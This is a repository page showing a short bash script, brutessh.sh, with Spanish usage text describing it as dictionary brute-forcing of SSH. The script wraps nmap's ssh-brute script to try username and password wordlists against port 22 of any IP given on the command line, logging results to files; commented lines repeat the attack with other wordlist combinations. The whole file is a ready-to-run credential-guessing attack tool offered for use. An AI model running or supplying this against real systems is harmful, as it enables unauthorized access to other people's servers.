-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbrutessh.sh
More file actions
28 lines (28 loc) · 2.14 KB
/
brutessh.sh
File metadata and controls
28 lines (28 loc) · 2.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
cat << "INFO"
,,,
██████╗ ██████╗ ██╗ ██╗████████╗███████╗███████╗███████╗██╗ ██╗
██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝██╔════╝██╔════╝██║ ██║
██████╔╝██████╔╝██║ ██║ ██║ █████╗ ███████╗███████╗███████║
██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝ ╚════██║╚════██║██╔══██║
██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
http://www.hackingyseguridad.com
,,,
INFO
if [ -z "$1" ]; then
echo
echo "Fuerza bruta con diccionarios a SSH."
echo "Requiere nmap"
echo "Uso.: sh brutessh.sh <ip>"
echo
exit 0
fi
echo
echo
nmap -Pn $1 $2 -p 22 --open --script ssh-brute --script-args userdb=usuarios0.txt,passdb=claves0.txt,unpwdb.timelimit=0 -oN resultado0.txt
# nmap -Pn $1 $2 -p 22 --script ssh-brute --script-args userdb=usuarios0.txt,passdb=claves.txt,unpwdb.timelimit=0 -oN resultado1.txt
# nmap -Pn $1 $2 -p 22 --script ssh-brute --script-args userdb=usuarios0.txt,passdb=claves2.txt,unpwdb.timelimit=0 -oN resultado2.txt
# nmap -Pn $1 $2 -p 22 --script ssh-brute --script-args userdb=usuarios.txt,passdb=claves0.txt,unpwdb.timelimit=0 -oN resultado3.txt
# nmap -Pn $1 $2 -p 22 --script ssh-brute --script-args userdb=usuarios.txt,passdb=claves.txt,unpwdb.timelimit=0 -oN resultado4.txt
# nmap -Pn $1 $2 -p 22 --script ssh-brute --script-args userdb=usuarios.txt,passdb=claves2.txt,unpwdb.timelimit=0 -oN resultado5.txt